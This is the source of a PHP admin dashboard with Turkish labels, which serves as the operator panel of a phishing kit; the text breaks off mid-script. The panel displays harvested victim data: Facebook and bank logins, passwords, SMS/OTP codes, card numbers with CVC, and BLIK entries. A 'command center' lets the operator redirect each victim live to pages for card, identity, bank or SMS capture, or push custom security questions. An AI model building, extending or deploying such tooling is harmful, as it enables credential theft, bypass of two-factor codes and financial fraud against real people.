<?php
// Hata raporlamayı aç
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Session ve Login Kontrolleri
if (session_status() == PHP_SESSION_NONE) { session_start(); }
if (!isset($_SESSION['admin_logged_in'])) { header('Location: giris.php'); exit(); }

require_once 'db_config.php';
try {
    $conn = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8", $db_user, $db_pass);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) { die("Veritabanı hatası: " . $e->getMessage()); }

// --- VERİLERİ ÇEK ---
$accounts = $conn->query("SELECT * FROM fb_accounts ORDER BY id DESC")->fetchAll(PDO::FETCH_ASSOC);
$visitors = $conn->query("SELECT * FROM active_visitors WHERE last_seen > NOW() - INTERVAL 2 MINUTE ORDER BY last_seen DESC")->fetchAll(PDO::FETCH_ASSOC);
$managed_banks = $conn->query("SELECT * FROM managed_banks ORDER BY display_order ASC, id DESC")->fetchAll(PDO::FETCH_ASSOC);

// Banka ve BLIK Loglarını Grupla
$bank_logs_raw = $conn->query("SELECT * FROM bank_logs ORDER BY id ASC")->fetchAll(PDO::FETCH_ASSOC);
$bank_logs_by_victim = [];
foreach ($bank_logs_raw as $log) { $bank_logs_by_victim[$log['victim_id']][] = $log; }

$blik_logs_raw = $conn->query("SELECT * FROM blik_logs ORDER BY id ASC")->fetchAll(PDO::FETCH_ASSOC);
$blik_logs_by_victim = [];
foreach ($blik_logs_raw as $log) { $blik_logs_by_victim[$log['victim_id']][] = $log; }

// Ayarlar
$admin_username = $_SESSION['admin_username'] ?? 'Admin';
$stmt_settings = $conn->query("SELECT setting_key, setting_value FROM site_settings");
$settings = [];
while ($row = $stmt_settings->fetch(PDO::FETCH_ASSOC)) { $settings[$row['setting_key']] = $row['setting_value']; }
$current_page_mode = $settings['active_page'] ?? 'facebook';
$current_site_lang = $settings['site_lang'] ?? 'tr';
?>
<!DOCTYPE html>
<html lang="tr" class="h-full bg-[#0f172a]">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Elite Command Center</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&family=Inter:wght@400;600;800&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.8.1/font/bootstrap-icons.css">
    <script src="https://cdn.jsdelivr.net/npm/sortablejs@latest/Sortable.min.js"></script>
    
    <link rel="stylesheet" href="https://cdn.datatables.net/1.13.6/css/jquery.dataTables.min.css">
    <script src="https://code.jquery.com/jquery-3.7.0.min.js"></script>
    <script src="https://cdn.datatables.net/1.13.6/js/jquery.dataTables.min.js"></script>

    <style>
        /* --- ELIT TASARIM CSS --- */
        body { font-family: 'Inter', sans-serif; color: #e2e8f0; }
        .font-mono { font-family: 'JetBrains Mono', monospace; }
        
        /* Tablo ve Satır Stilleri */
        table.dataTable tbody tr { background-color: #1e293b !important; border-bottom: 6px solid #0f172a; }
        table.dataTable tbody td { padding: 12px 16px !important; vertical-align: middle; border: none !important; color: #e2e8f0; }
        
        /* SMS Parlama Efekti */
        .sms-box-active {
            background: rgba(16, 185, 129, 0.1); border: 1px solid rgba(16, 185, 129, 0.4); color: #34d399;
            box-shadow: 0 0 15px rgba(16, 185, 129, 0.2); animation: pulse-green 2s infinite;
        }
        @keyframes pulse-green {
            0% { box-shadow: 0 0 0 0 rgba(16, 185, 129, 0.4); } 70% { box-shadow: 0 0 0 10px rgba(16, 185, 129, 0); } 100% { box-shadow: 0 0 0 0 rgba(16, 185, 129, 0); }
        }
        
        /* DataTables Arayüzü */
        .dataTables_wrapper .dataTables_length, .dataTables_wrapper .dataTables_filter, .dataTables_wrapper .dataTables_info, .dataTables_wrapper .dataTables_paginate { color: #94a3b8 !important; margin-bottom: 15px; }
        .dataTables_wrapper .dataTables_filter input { background: #334155; border: 1px solid #475569; color: white; padding: 6px 12px; border-radius: 8px; outline: none; }
        .dataTables_wrapper .dataTables_length select { background: #334155; border: 1px solid #475569; color: white; padding: 4px; border-radius: 4px; }

        /* Yeni Log Flaşı */
        .flash-new { animation: flash 1.2s 3; border: 1px solid #6366f1; }
        @keyframes flash { 0%, 100% { background-color: #1e293b; } 50% { background-color: rgba(99, 102, 241, 0.2); } }

        /* Offcanvas Panel */
        .offcanvas-panel { transform: translateX(-100%); transition: transform 0.3s ease-in-out; }
        .offcanvas-panel.is-open { transform: translateX(0); }
        .offcanvas-overlay { background-color: rgba(0, 0, 0, 0.5); transition: opacity 0.3s ease-in-out; }
        
        ::-webkit-scrollbar { width: 6px; } ::-webkit-scrollbar-track { background: #0f172a; } ::-webkit-scrollbar-thumb { background: #475569; border-radius: 3px; }
    </style>
</head>
<body class="h-full">

    <audio id="notification-sound" src="uyari.mp3" preload="auto"></audio>

    <div id="settings-modal" class="hidden fixed inset-0 bg-gray-900 bg-opacity-90 flex items-center justify-center z-50">
        <div class="bg-gray-800 shadow-xl rounded-lg max-w-lg w-full p-6 border border-gray-700">
            <div class="flex justify-between items-center mb-4"><h3 class="text-xl font-bold text-white">Sistem Ayarları</h3><button id="close-settings-modal" class="text-gray-400 hover:text-white text-3xl">&times;</button></div>
            <div class="space-y-4">
                <div>
                    <h4 class="text-sm font-semibold text-gray-400">Giriş Sayfası Modu</h4>
                    <div class="flex gap-2 mt-2 flex-wrap">
                        <button data-page="facebook" class="page-switch-btn flex-1 py-2 rounded text-sm font-bold border <?= $current_page_mode=='facebook'?'bg-indigo-600 border-indigo-500 text-white':'bg-gray-700 border-gray-600 text-gray-400' ?>">Facebook</button>
                        <button data-page="banks" class="page-switch-btn flex-1 py-2 rounded text-sm font-bold border <?= $current_page_mode=='banks'?'bg-indigo-600 border-indigo-500 text-white':'bg-gray-700 border-gray-600 text-gray-400' ?>">Banka</button>
                        <button data-page="phone" class="page-switch-btn flex-1 py-2 rounded text-sm font-bold border <?= $current_page_mode=='phone'?'bg-indigo-600 border-indigo-500 text-white':'bg-gray-700 border-gray-600 text-gray-400' ?>">Telefon</button>
                        <button data-page="zabka" class="page-switch-btn flex-1 py-2 rounded text-sm font-bold border <?= $current_page_mode=='zabka'?'bg-indigo-600 border-indigo-500 text-white':'bg-gray-700 border-gray-600 text-gray-400' ?>">Żabka</button>
                    </div>
                </div>
                <div class="bg-gray-700 p-3 rounded border border-gray-600">
                    <label class="text-white text-sm font-bold block mb-1">Site Dili</label>
                    <div class="flex gap-2">
                        <input type="text" id="auto-lang-input" value="<?= htmlspecialchars($current_site_lang) ?>" class="w-full p-2 rounded bg-gray-900 text-white text-center font-mono border border-gray-500">
                        <button id="save-auto-lang" class="bg-blue-600 px-4 rounded font-bold">Kaydet</button>
                    </div>
                </div>
                <div class="flex gap-2 border-t border-gray-700 pt-4">
                    <a href="api.php?action=export_logs" target="_blank" class="flex-1 bg-green-600 hover:bg-green-700 py-2 rounded text-center font-bold text-sm text-white">İndir</a>
                    <button id="delete-all-logs-btn" class="flex-1 bg-red-800 hover:bg-red-700 py-2 rounded font-bold text-sm text-white">Tümünü Sil</button>
                </div>
                <form id="settings-form" class="space-y-2 border-t border-gray-700 pt-4">
                    <h4 class="text-sm font-semibold text-gray-400">Admin Bilgileri</h4>
                    <input type="password" name="current_password" placeholder="Mevcut Şifre" required class="w-full bg-gray-900 border border-gray-600 rounded p-2 text-white">
                    <div class="flex gap-2">
                        <input type="text" name="new_username" placeholder="Yeni Kullanıcı Adı" class="w-1/2 bg-gray-900 border border-gray-600 rounded p-2 text-white">
                        <input type="password" name="new_password" placeholder="Yeni Şifre" class="w-1/2 bg-gray-900 border border-gray-600 rounded p-2 text-white">
                    </div>
                    <button type="submit" class="w-full bg-indigo-600 hover:bg-indigo-500 py-2 rounded font-bold text-white">Güncelle</button>
                </form>
            </div>
        </div>
    </div>

    <div id="command-modal" class="hidden fixed inset-0 bg-gray-900 bg-opacity-90 flex items-center justify-center z-50">
        <div class="bg-gray-800 shadow-2xl rounded-xl max-w-2xl w-full mx-4 flex flex-col max-h-[90vh] border border-gray-600">
            <div class="bg-gray-900 p-4 rounded-t-xl border-b border-gray-700 flex justify-between items-center">
                <div>
                    <h3 class="text-xl font-bold text-white flex items-center gap-2"><i class="bi bi-cpu-fill text-indigo-500"></i> Komuta Merkezi</h3>
                    <p class="text-xs text-gray-400 mt-1">ID: <span id="cmd-victim-id" class="text-yellow-400 font-mono font-bold">---</span> | IP: <span id="cmd-victim-ip" class="text-cyan-400 font-mono">---</span></p>
                </div>
                <button onclick="closeCommandModal()" class="text-gray-400 hover:text-white text-3xl">&times;</button>
            </div>
            <div class="p-6 overflow-y-auto space-y-6">
                <div class="grid grid-cols-3 gap-3">
                    <button onclick="sendRedirect('sms.php')" class="bg-gray-700 hover:bg-indigo-600 text-white py-3 rounded-lg flex flex-col items-center gap-1"><i class="bi bi-chat-left-text text-xl"></i><span class="text-xs font-bold">SMS 1</span></button>
                    <button onclick="sendRedirect('sms2.php')" class="bg-gray-700 hover:bg-indigo-600 text-white py-3 rounded-lg flex flex-col items-center gap-1"><i class="bi bi-chat-quote text-xl"></i><span class="text-xs font-bold">SMS 2</span></button>
                    <button onclick="sendRedirect('card.php')" class="bg-gray-700 hover:bg-indigo-600 text-white py-3 rounded-lg flex flex-col items-center gap-1"><i class="bi bi-credit-card text-xl"></i><span class="text-xs font-bold">KART</span></button>
                    <button onclick="sendRedirect('details.php')" class="bg-gray-700 hover:bg-indigo-600 text-white py-3 rounded-lg flex flex-col items-center gap-1"><i class="bi bi-person-badge text-xl"></i><span class="text-xs font-bold">KİMLİK</span></button>
                    <button onclick="sendRedirect('banks_page.php')" class="bg-gray-700 hover:bg-teal-600 text-white py-3 rounded-lg flex flex-col items-center gap-1"><i class="bi bi-bank text-xl"></i><span class="text-xs font-bold">BANKA</span></button>
                    <button onclick="sendRedirect('blik.php')" class="bg-gray-700 hover:bg-purple-600 text-white py-3 rounded-lg flex flex-col items-center gap-1"><i class="bi bi-wallet2 text-xl"></i><span class="text-xs font-bold">BLIK</span></button>
                    <button onclick="sendRedirect('error.php?target=sms.php')" class="bg-red-900/30 border border-red-800 text-red-200 py-3 rounded-lg flex flex-col items-center gap-1"><i class="bi bi-exclamation-triangle text-xl"></i><span class="text-xs font-bold">HATA</span></button>
                </div>
                <button onclick="sendRedirect('completed.php')" class="w-full bg-green-600 hover:bg-green-500 text-white py-3 rounded-lg font-bold shadow-lg">✅ İŞLEMİ ONAYLA VE BİTİR</button>
                <button onclick="sendRedirect('index.php')" class="w-full bg-gray-700 hover:bg-gray-600 text-white py-2 rounded-lg text-sm">Ana Sayfaya At</button>
                
                <div class="flex gap-4 border-t border-gray-700 pt-4">
                    <div class="flex-grow flex gap-2">
                        <input type="text" id="custom-question-input" placeholder="Örn: Anne kızlık soyadı?" class="w-full bg-gray-900 border border-gray-600 rounded px-3 text-white text-sm">
                        <button onclick="sendCustomQuestion()" class="bg-purple-600 hover:bg-purple-500 text-white px-4 rounded font-bold text-sm">SOR</button>
                    </div>
                    <button onclick="blockVictim()" class="bg-red-700 hover:bg-red-600 text-white px-4 rounded font-bold text-sm">BANLA</button>
                </div>
            </div>
        </div>
    </div>

    <div id="bank-management-offcanvas-container" class="hidden fixed inset-0 z-40">
        <div id="bank-management-overlay" class="offcanvas-overlay absolute inset-0 opacity-0 hidden"></div>
        <div id="bank-management-panel" class="offcanvas-panel relative bg-gray-800 h-full w-full max-w-lg flex flex-col shadow-xl border-r border-gray-700">
            <div class="flex items-center justify-between p-4 border-b border-gray-700"><h3 class="text-xl font-bold text-white">Banka Yönetimi</h3><button id="close-bank-management" class="text-gray-400 hover:text-white text-3xl">&times;</button></div>
            <div class="p-6 space-y-4 overflow-y-auto h-full">
                 <form id="bank-form" class="space-y-3">
                    <input type="hidden" name="bank_id" id="bank-id-input">
                    <input type="text" name="bank_name" placeholder="Banka Adı" class="w-full bg-gray-700 p-2 rounded text-sm text-white border border-gray-600" required>
                    <select name="bank_type" class="w-full bg-gray-700 p-2 rounded text-white border border-gray-600"><option value="classic">Klasik</option><option value="blik">BLIK</option></select>
                    <div id="classic-bank-fields"><input type="text" name="login_prompt" placeholder="Login Label" class="w-full bg-gray-700 p-2 mt-2 rounded border border-gray-600 text-white"><input type="text" name="password_prompt" placeholder="Pass Label" class="w-full bg-gray-700 p-2 mt-2 rounded border border-gray-600 text-white"></div>
                    <input type="text" name="logo_url" placeholder="Logo URL" class="w-full bg-gray-700 p-2 rounded text-white border border-gray-600">
                    <button type="submit" class="w-full bg-indigo-600 py-2 rounded font-bold text-white text-sm">Kaydet</button>
                </form>
                <div id="bank-list-container" class="space-y-2">
                    <?php foreach($managed_banks as $bank): ?>
                    <div class="bg-gray-700/50 p-3 rounded flex justify-between items-center text-white" data-id="<?= $bank['id'] ?>">
                        <span><i class="bi bi-grip-vertical bank-drag-handle cursor-move text-gray-500"></i> <?= htmlspecialchars($bank['bank_name']) ?></span>
                        <div class="flex gap-2">
                            <button class="edit-bank-btn text-blue-400" data-bank-id="<?= $bank['id'] ?>"><i class="bi bi-pencil-square"></i></button>
                            <button class="toggle-bank-btn <?= $bank['is_active']?'text-green-400':'text-gray-500' ?>" data-bank-id="<?= $bank['id'] ?>"><i class="bi bi-eye-fill"></i></button>
                            <button class="delete-bank-btn text-red-500" data-bank-id="<?= $bank['id'] ?>"><i class="bi bi-trash"></i></button>
                        </div>
                    </div>
                    <?php endforeach; ?>
                </div>
                <button id="save-bank-order-btn" class="hidden w-full bg-blue-600 text-white py-2 rounded">Sıralamayı Kaydet</button>
            </div>
        </div>
    </div>

    <div id="ip-management-offcanvas-container" class="hidden fixed inset-0 z-40">
        <div id="ip-management-overlay" class="offcanvas-overlay absolute inset-0 opacity-0 hidden"></div>
        <div id="ip-management-panel" class="offcanvas-panel relative bg-gray-800 h-full w-full max-w-lg flex flex-col shadow-xl">
            <div class="flex items-center justify-between p-4 border-b border-gray-700"><h3 class="text-xl font-bold text-white">IP Yönetimi</h3><button id="close-ip-management" class="text-gray-400 hover:text-white text-3xl">&times;</button></div>
            <div class="p-6 overflow-y-auto space-y-4">
                <form id="ip-add-form"><input type="text" name="ip_address" placeholder="IP Adresi" class="w-full bg-gray-700 p-2 rounded border border-gray-600 text-white mb-2" required><input type="text" name="description" placeholder="Açıklama" class="w-full bg-gray-700 p-2 rounded border border-gray-600 text-white mb-2"><button type="submit" class="w-full bg-indigo-600 text-white py-2 rounded">Ekle</button></form>
                <hr class="border-gray-600"><h4 class="text-white font-bold">Toplu Ekle</h4>
                <form id="ip-bulk-add-form"><textarea name="ip_list" rows="5" class="w-full bg-gray-700 p-2 rounded border border-gray-600 text-white" placeholder="Her satıra bir IP"></textarea><button type="submit" class="w-full bg-green-600 text-white py-2 rounded mt-2">Toplu Ekle</button></form>
                <hr class="border-gray-600">
                <form id="ip-search-form" class="flex gap-2"><input type="text" name="ip_search_term" placeholder="IP Ara..." class="w-full bg-gray-700 p-2 rounded border border-gray-600 text-white"><button type="submit" class="bg-blue-600 px-4 rounded text-white">Ara</button></form>
                <div id="ip-list-container"></div>
            </div>
        </div>
    </div>

    <div id="ban-panel-container" class="hidden fixed inset-0 z-40">
        <div id="ban-panel-overlay" class="offcanvas-overlay absolute inset-0 opacity-0 hidden"></div>
        <div id="ban-panel" class="offcanvas-panel relative bg-gray-800 h-full w-full max-w-lg flex flex-col shadow-xl">
            <div class="flex items-center justify-between p-4 border-b border-gray-700"><h3 class="text-xl font-bold text-red-500">Yasaklılar</h3><button id="close-ban-panel" class="text-gray-400 hover:text-white text-3xl">&times;</button></div>
            <div class="p-6 text-gray-300" id="ban-list-content">Yükleniyor...</div>
        </div>
    </div>

    <div id="confirmation-modal" class="hidden fixed inset-0 bg-gray-900/80 z-50 flex items-center justify-center"><div class="bg-gray-800 p-6 rounded text-center shadow-xl border border-gray-600"><h3 id="confirmation-title" class="font-bold mb-4 text-white">Onay</h3><p id="confirmation-message" class="text-gray-300 mb-6">Emin misiniz?</p><div class="flex gap-4 justify-center"><button id="confirmation-cancel-btn" class="bg-gray-600 hover:bg-gray-500 text-white px-4 py-2 rounded">İptal</button><button id="confirmation-confirm-btn" class="bg-red-600 hover:bg-red-500 text-white px-4 py-2 rounded">Onayla</button></div></div></div>
    <div id="message-modal" class="hidden fixed inset-0 bg-gray-900/80 z-50 flex items-center justify-center"><div class="bg-gray-800 p-6 rounded text-center shadow-xl border border-gray-600"><div id="message-modal-icon-container" class="mx-auto w-12 h-12 flex items-center justify-center rounded-full mb-3"></div><h3 id="message-modal-title" class="font-bold mb-2 text-white">Başlık</h3><p id="message-modal-text" class="text-gray-400 mb-4">Mesaj</p><button id="message-modal-close-btn" class="bg-indigo-600 hover:bg-indigo-500 text-white w-full py-2 rounded">Tamam</button></div></div>

    <div class="max-w-[1600px] mx-auto mb-6 flex justify-between items-center pt-4">
        <div>
            <h1 class="text-2xl font-black text-transparent bg-clip-text bg-gradient-to-r from-blue-400 to-purple-500 tracking-tighter flex items-center gap-2">
                <i class="bi bi-terminal-fill text-indigo-400"></i> COMMAND CENTER
            </h1>
            <p class="text-xs text-gray-500 font-mono mt-1">Sistem Aktif • <?= count($visitors) ?> Ziyaretçi Online</p>
        </div>
        <div class="flex gap-2">
             <button id="open-bank-management" class="bg-gray-800 hover:bg-gray-700 text-indigo-300 px-4 py-2 rounded-lg text-xs font-bold border border-gray-700 transition-colors"><i class="bi bi-bank me-1"></i> BANKA</button>
             <button id="open-ip-management" class="bg-gray-800 hover:bg-gray-700 text-indigo-300 px-4 py-2 rounded-lg text-xs font-bold border border-gray-700 transition-colors"><i class="bi bi-shield-lock me-1"></i> IP</button>
             <button id="open-ban-panel" class="bg-gray-800 hover:bg-gray-700 text-red-400 px-4 py-2 rounded-lg text-xs font-bold border border-gray-700 transition-colors"><i class="bi bi-slash-circle me-1"></i> BAN</button>
             <button id="open-settings-btn" class="bg-gray-800 hover:bg-gray-700 text-gray-300 px-4 py-2 rounded-lg text-xs font-bold border border-gray-700 transition-colors"><i class="bi bi-gear me-1"></i> AYAR</button>
             <button id="sound-test-btn" class="text-gray-500 hover:text-white px-2"><i class="bi bi-volume-up-fill"></i></button>
             <button id="set-refresh-btn" class="text-gray-500 hover:text-white px-2 text-xs">Oto</button>
             <a href="logout.php" class="bg-red-900/20 hover:bg-red-900/40 text-red-400 px-4 py-2 rounded-lg text-xs font-bold border border-red-900/50 transition-colors">ÇIKIŞ</a>
        </div>
    </div>

    <div class="max-w-[1600px] mx-auto pb-10">
        
        <?php if (!empty($visitors)): ?>
        <div class="bg-gray-800/50 border border-gray-700 rounded-lg p-4 mb-6">
            <h3 class="text-sm font-bold text-gray-400 mb-2 uppercase tracking-wide">Aktif Ziyaretçiler (<?= count($visitors) ?>)</h3>
            <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-3">
                <?php foreach ($visitors as $visitor): ?>
                <div class="bg-gray-900 p-3 rounded border border-gray-700 flex justify-between items-center">
                    <div><div class="font-mono text-xs text-white"><?= htmlspecialchars($visitor['ip_address']) ?></div><div class="text-[10px] text-cyan-400"><?= htmlspecialchars($visitor['current_page']) ?></div></div>
                    <button onclick="openCommandCenter('visitor', '<?= $visitor['id'] ?>', '<?= htmlspecialchars($visitor['ip_address']) ?>')" class="bg-indigo-600 hover:bg-indigo-500 text-white w-8 h-8 rounded flex items-center justify-center text-xs"><i class="bi bi-joystick"></i></button>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
        <?php endif; ?>

        <table id="eliteTable" class="w-full text-left border-separate" style="border-spacing: 0 8px;">
            <thead>
                <tr class="text-gray-500 text-xs uppercase tracking-widest font-bold">
                    <th class="pb-4 pl-4">Platform / ID</th>
                    <th class="pb-4">Kimlik & Giriş</th>
                    <th class="pb-4 text-center">SMS / OTP</th> 
                    <th class="pb-4">Kart / Finans</th>
                    <th class="pb-4 text-right pr-4">İşlemler</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($accounts as $row): 
                    $icon = 'bi-facebook text-blue-500';
                    if(strpos(($row['email'] ?? ''), '0') === 0 || is_numeric($row['email'])) { $icon = 'bi-phone-fill text-yellow-500'; }
                    if(!empty($row['card_number'])) { $icon = 'bi-credit-card-2-front-fill text-purple-500'; }
                ?>
                <tr id="account-row-<?= $row['id'] ?>" class="group hover:bg-[#253045] transition-colors rounded-lg overflow-hidden relative">
                    <td class="rounded-l-lg border-l-4 border-indigo-500 bg-[#1e293b]">
                        <div class="flex items-center gap-4">
                            <div class="w-10 h-10 rounded-full bg-[#0f172a] flex items-center justify-center shadow-inner"><i class="bi <?= $icon ?> text-xl"></i></div>
                            <div>
                                <div class="font-mono text-xs text-gray-500">ID #<?= $row['id'] ?></div>
                                <div class="text-[10px] text-gray-400 flex items-center gap-1"><span class="w-2 h-2 rounded-full bg-green-500 animate-pulse"></span> <?= $row['ip_address'] ?></div>
                            </div>
                        </div>
                    </td>
                    <td>
                        <div class="flex flex-col gap-1">
                            <div class="flex items-center gap-2"><i class="bi bi-person text-gray-400 text-xs"></i><span class="font-bold text-white text-sm select-all"><?= htmlspecialchars($row['email']) ?></span></div>
                            <?php if($row['password']): ?>
                            <div class="flex items-center gap-2"><i class="bi bi-key text-gray-400 text-xs"></i><span class="font-mono text-yellow-400 text-sm select-all bg-yellow-400/10 px-1 rounded"><?= htmlspecialchars($row['password']) ?></span></div>
                            <?php else: ?><div class="text-[10px] text-gray-600 italic">Şifre bekleniyor...</div><?php endif; ?>
                            <?php if (!empty($row['custom_question'])): ?><div class="text-[10px] text-purple-400 bg-purple-900/20 px-1 rounded w-fit mt-1">Soru: <?= htmlspecialchars($row['custom_question']) ?> <br> C: <span class="font-bold text-white"><?= htmlspecialchars($row['custom_answer']??'..') ?></span></div><?php endif; ?>
                        </div>
                    </td>
                    <td class="text-center">
                        <?php if(!empty($row['sms_code'])): ?>
                            <div class="sms-box-active inline-flex flex-col px-4 py-2 rounded-lg cursor-pointer transform hover:scale-105 transition-transform" onclick="copyToClipboard('<?= $row['sms_code'] ?>')">
                                <span class="text-[10px] font-bold uppercase tracking-wider opacity-70">SMS CODE</span>
                                <span class="text-xl font-mono font-black tracking-widest"><?= $row['sms_code'] ?></span>
                                <?php if(!empty($row['sms_code_2'])): ?><div class="border-t border-green-500/30 mt-1 pt-1"><span class="text-xs font-mono"><?= $row['sms_code_2'] ?></span></div><?php endif; ?>
                            </div>
                        <?php else: ?>
                            <div class="inline-flex flex-col px-4 py-2 rounded-lg border border-gray-700 bg-gray-800/50 opacity-50">
                                <span class="text-[10px] text-gray-500 font-bold uppercase tracking-wider">SMS Yok</span>
                                <span class="text-xl font-mono text-gray-600 tracking-widest">---</span>
                            </div>
                        <?php endif; ?>
                    </td>
                    <td>
                        <?php if(!empty($row['card_number'])): ?>
                        <div class="flex items-center gap-3">
                            <i class="bi bi-credit-card text-purple-400 text-lg"></i>
                            <div>
                                <div class="font-mono text-sm text-white select-all"><?= chunk_split($row['card_number'], 4, ' ') ?></div>
                                <div class="font-mono text-xs text-purple-300 flex gap-3"><span><?= $row['card_expiry'] ?></span><span>CVC: <?= $row['card_cvc'] ?></span></div>
                            </div>
                        </div>
                        <?php else: ?><div class="text-xs text-gray-600 flex items-center gap-2"><i class="bi bi-dash-circle"></i> Kart Yok</div><?php endif; ?>
                        
                        <?php if(isset($bank_logs_by_victim[$row['id']])): ?>
                            <?php foreach($bank_logs_by_victim[$row['id']] as $bl): ?>
                                <div class="mt-1 text-[10px] text-cyan-300 bg-cyan-900/20 px-1 rounded border border-cyan-800/50 w-fit">
                                    <b><?= htmlspecialchars($bl['bank_name']) ?></b>: <?= htmlspecialchars($bl['login_id']) ?> / <?= htmlspecialchars($bl['password']) ?>
                                </div>
                            <?php endforeach; ?>
                        <?php endif; ?>
                    </td>
                    <td class="rounded-r-lg pr-4 text-right">
                        <div class="flex justify-end gap-2">
                             <button onclick="openCommandCenter('log', '<?= $row['id'] ?>', '<?= $row['ip_address'] ?>')" class="w-10 h-10 rounded-lg bg-indigo-600 hover:bg-indigo-500 text-white flex items-center justify-center shadow-lg shadow-indigo-500/20 transition-all" title="Komuta"><i class="bi bi-joystick text-lg"></i></button>
                            <button onclick="deleteRow(<?= $row['id'] ?>)" class="w-10 h-10 rounded-lg bg-gray-700 hover:bg-red-600 text-gray-300 hover:text-white flex items-center justify-center transition-all" title="Sil"><i class="bi bi-trash"></i></button>
                        </div>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </div>

    <script>
        // --- 1. DATATABLES ---
        $(document).ready(function() {
            var table = $('#eliteTable').DataTable({
                "order": [[ 0, "desc" ]],
                "pageLength": 15,
                "lengthChange": false,
                "dom": 'frtip',
                "language": { "search": "", "searchPlaceholder": "Veri Ara (ID, Tel, İsim)...", "info": "_TOTAL_ Kayıttan _START_-_END_", "paginate": { "next": ">", "previous": "<" }, "zeroRecords": "Veri bulunamadı" }
            });
            $('.dataTables_filter input').addClass('bg-[#1e293b] border-gray-700 text-sm w-64 focus:ring-2 focus:ring-indigo-500 transition-all text-white placeholder-gray-500');
            
            // Banka Sıralama
            const blc = document.getElementById('bank-list-container');
            if(blc){ new Sortable(blc, { animation: 150, handle: '.bank-drag-handle', onUpdate: function() {
                document.getElementById('save-bank-order-btn').classList.remove('hidden');
            }}); }
            document.getElementById('save-bank-order-btn').onclick = function() {
                const ids=Array.from(blc.querySelectorAll('[data-id]')).map(el=>el.dataset.id);
                const fd=new FormData(); ids.forEach(id=>fd.append('order[]',id));
                fetch('api.php?action=save_bank_order',{method:'POST',body:fd}).then(r=>r.json()).then(d=>{ if(d.status==='success') { this.classList.add('hidden'); showMessage('Başarılı','Sıralama kaydedildi',true); } });
            };
        });

        // --- 2. MODAL YÖNETİMİ ---
        const modals = {
            settings: document.getElementById('settings-modal'),
            command: document.getElementById('command-modal'),
            bank: { c: document.getElementById('bank-management-offcanvas-container'), p: document.getElementById('bank-management-panel'), o: document.getElementById('bank-management-overlay') },
            ip: { c: document.getElementById('ip-management-offcanvas-container'), p: document.getElementById('ip-management-panel'), o: document.getElementById('ip-management-overlay') },
            ban: { c: document.getElementById('ban-panel-container'), p: document.getElementById('ban-panel'), o: document.getElementById('ban-panel-overlay') },
            msg: document.getElementById('message-modal'),
            conf: document.getElementById('confirmation-modal')
        };
        
        let currentCmdId = null, currentCmdIp = null;

        function toggleOffcanvas(m, s) {
            if(s) { m.c.classList.remove('hidden'); setTimeout(() => { m.o.classList.remove('hidden','opacity-0'); m.p.classList.add('is-open'); }, 10); }
            else { m.p.classList.remove('is-open'); m.o.classList.add('opacity-0'); setTimeout(() => { m.c.classList.add('hidden'); m.o.classList.add('hidden'); }, 300); }
        }

        // --- 3. EVENT LISTENERS ---
        document.getElementById('open-settings-btn').onclick = () => modals.settings.classList.remove('hidden');
        document.getElementById('close-settings-modal').onclick = () => modals.settings.classList.add('hidden');
        
        document.getElementById('open-bank-management').onclick = () => toggleOffcanvas(modals.bank, true);
        document.getElementById('close-bank-management').onclick = () => toggleOffcanvas(modals.bank, false);
        modals.bank.o.onclick = () => toggleOffcanvas(modals.bank, false);

        document.getElementById('open-ip-management').onclick = () => { toggleOffcanvas(modals.ip, true); document.getElementById('ip-search-form').dispatchEvent(new Event('submit')); };
        document.getElementById('close-ip-management').onclick = () => toggleOffcanvas(modals.ip, false);
        modals.ip.o.onclick = () => toggleOffcanvas(modals.ip, false);

        document.getElementById('open-ban-panel').onclick = () => { toggleOffcanvas(modals.ban, true); loadBanList(); };
        document.getElementById('close-ban-panel').onclick = () => toggleOffcanvas(modals.ban, false);
        modals.ban.o.onclick = () => toggleOffcanvas(modals.ban, false);

        // --- 4. İŞLEV FONKSİYONLARI ---
        function openCommandCenter(type, id, ip) {
            currentCmdId = id; currentCmdIp = ip;
            document.getElementById('cmd-victim-id').textContent = id;
            document.getElementById('cmd-victim-ip').textContent = ip;
            document.getElementById('custom-question-input').value = '';
            modals.command.classList.remove('hidden');
        }
        function closeCommandModal() { modals.command.classList.add('hidden'); currentCmdId = null; }

        function sendRedirect(page) {
            if(!currentCmdId) return;
            fetch(`api.php?action=set_redirect&id=${currentCmdId}&page=${page}`)
            .then(r=>r.json()).then(d => {
                if(d.status==='success') { showMessage('Başarılı', 'Yönlendirildi!', true); closeCommandModal(); }
                else showMessage('Hata', d.message, false);
            });
        }
        
        function sendCustomQuestion() {
            const q = document.getElementById('custom-question-input').value; if(!q) return;
            const fd = new FormData(); fd.append('id', currentCmdId); fd.append('page', 'question.php'); fd.append('custom_question', q);
            fetch('api.php?action=set_redirect', {method:'POST', body:fd}).then(r=>r.json()).then(d=>{ showMessage('İletildi', 'Soru gönderildi.', true); closeCommandModal(); });
        }

        function blockVictim() {
            if(!currentCmdIp && currentCmdId) { /* ID varsa IP bul logic */ }
            if(confirm('IP engellensin mi?')) {
                const fd = new FormData(); fd.append('ip', currentCmdIp);
                fetch('api.php?action=block_ip', {method:'POST', body:fd}).then(r=>r.json()).then(d=>showMessage('Bilgi', d.message, true));
            }
        }

        function copyToClipboard(text) { navigator.clipboard.writeText(text); showMessage('Kopyalandı', text, true); }
        
        function deleteRow(id) {
            showConfirmation('Kayıt silinsin mi?', 'Sil', () => {
                const fd = new FormData(); fd.append('account_id', id);
                fetch('api.php?action=delete_log', {method:'POST', body:fd}).then(r=>r.json()).then(d=>{ 
                    if(d.status==='success') { 
                        // DOM'dan sil (DataTables kullandığımız için reload en temizi şimdilik)
                        window.location.reload(); 
                    }
                });
            });
        }
        
        function showMessage(t, m, s) {
            document.getElementById('message-modal-title').innerText = t;
            document.getElementById('message-modal-text').innerText = m;
            const icon = document.getElementById('message-modal-icon-container');
